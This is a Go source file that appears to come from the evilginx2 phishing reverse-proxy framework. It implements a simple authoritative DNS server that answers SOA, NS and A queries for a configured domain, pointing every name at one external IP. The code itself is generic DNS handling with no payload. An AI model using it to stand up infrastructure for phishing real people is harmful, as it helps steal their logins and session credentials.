101 lines
2.2 KiB
Go
101 lines
2.2 KiB
Go
package core
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import (
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"context"
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"fmt"
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"net"
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"strconv"
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"strings"
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"time"
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"github.com/miekg/dns"
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"github.com/kgretzky/evilginx2/log"
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)
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type Nameserver struct {
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srv *dns.Server
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cfg *Config
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bind string
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serial uint32
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ctx context.Context
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}
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func NewNameserver(cfg *Config) (*Nameserver, error) {
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o := &Nameserver{
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serial: uint32(time.Now().Unix()),
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cfg: cfg,
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bind: fmt.Sprintf("%s:%d", cfg.GetServerBindIP(), cfg.GetDnsPort()),
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ctx: context.Background(),
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}
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o.Reset()
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return o, nil
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}
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func (o *Nameserver) Reset() {
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dns.HandleFunc(pdom(o.cfg.general.Domain), o.handleRequest)
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}
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func (o *Nameserver) Start() {
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go func() {
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o.srv = &dns.Server{Addr: o.bind, Net: "udp"}
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if err := o.srv.ListenAndServe(); err != nil {
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log.Fatal("Failed to start nameserver on: %s", o.bind)
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}
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}()
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}
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func (o *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
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m := new(dns.Msg)
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m.SetReply(r)
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if o.cfg.general.Domain == "" || o.cfg.general.ExternalIpv4 == "" {
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return
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}
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soa := &dns.SOA{
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Hdr: dns.RR_Header{Name: pdom(o.cfg.general.Domain), Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 300},
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Ns: "ns1." + pdom(o.cfg.general.Domain),
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Mbox: "hostmaster." + pdom(o.cfg.general.Domain),
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Serial: o.serial,
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Refresh: 900,
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Retry: 900,
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Expire: 1800,
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Minttl: 60,
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}
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m.Ns = []dns.RR{soa}
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fqdn := strings.ToLower(r.Question[0].Name)
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switch r.Question[0].Qtype {
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case dns.TypeSOA:
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log.Debug("DNS SOA: " + fqdn)
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m.Answer = append(m.Answer, soa)
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case dns.TypeA:
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log.Debug("DNS A: " + fqdn + " = " + o.cfg.general.ExternalIpv4)
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rr := &dns.A{
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Hdr: dns.RR_Header{Name: fqdn, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 300},
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A: net.ParseIP(o.cfg.general.ExternalIpv4),
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}
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m.Answer = append(m.Answer, rr)
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case dns.TypeNS:
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log.Debug("DNS NS: " + fqdn)
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if fqdn == pdom(o.cfg.general.Domain) {
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for _, i := range []int{1, 2} {
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rr := &dns.NS{
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Hdr: dns.RR_Header{Name: pdom(o.cfg.general.Domain), Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 300},
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Ns: "ns" + strconv.Itoa(i) + "." + pdom(o.cfg.general.Domain),
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}
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m.Answer = append(m.Answer, rr)
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}
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}
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}
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w.WriteMsg(m)
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}
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func pdom(domain string) string {
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return domain + "."
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}
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